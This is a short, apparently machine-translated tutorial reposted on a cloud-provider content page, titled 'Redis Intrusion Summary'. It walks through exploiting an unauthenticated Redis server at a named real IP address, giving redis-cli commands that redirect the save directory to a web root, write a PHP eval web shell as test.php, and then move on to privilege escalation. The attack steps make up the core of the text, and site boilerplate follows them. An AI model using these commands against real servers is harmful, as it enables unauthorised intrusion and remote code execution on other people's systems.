Redis Intrusion Summary

Source: Internet
Author: User

Redis Installation:

Windows installation package: Http://pan.baidu.com/s/1i3jLlC5

After downloading, start the installation:

Redis-server.exe redis.conf:

A simple step, the installation succeeds, keep this Windows running continuously ~

Look at our local port, you can see a 6379 more ports, security risks come, remember to set up the Redis password ~

Next, start using Redis-cli.exe for the remote Redis intrusion:

If there is an unauthorized access vulnerability to the remote Redis database, you can upload the shell directly:

To open the Redis client:

Redis-cli-h 125.39.185.150-p 6379

Next, set the memory data:

Config set dir/var/www/html (set the switched web directory in memory/var/www/html)

Config Set Dbfilename test.php (Create a test.php file in the in-memory/var/www/html directory)

Set Xiaoma "<?php @eval ($_post[mi]);? > (set Key-value, at which time the value is in memory)

Save (saves the key-value in memory to the hard disk and saves it as a test.php file)

Four OK is done ~

At this point, you can directly connect to the shell, began to mention the right ~

Redis Intrusion Reference:

http://www.wooyun.org/bugs/wooyun-2015-0101465

http://www.wooyun.org/bugs/wooyun-2010-0105096

Redis Intrusion Summary

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.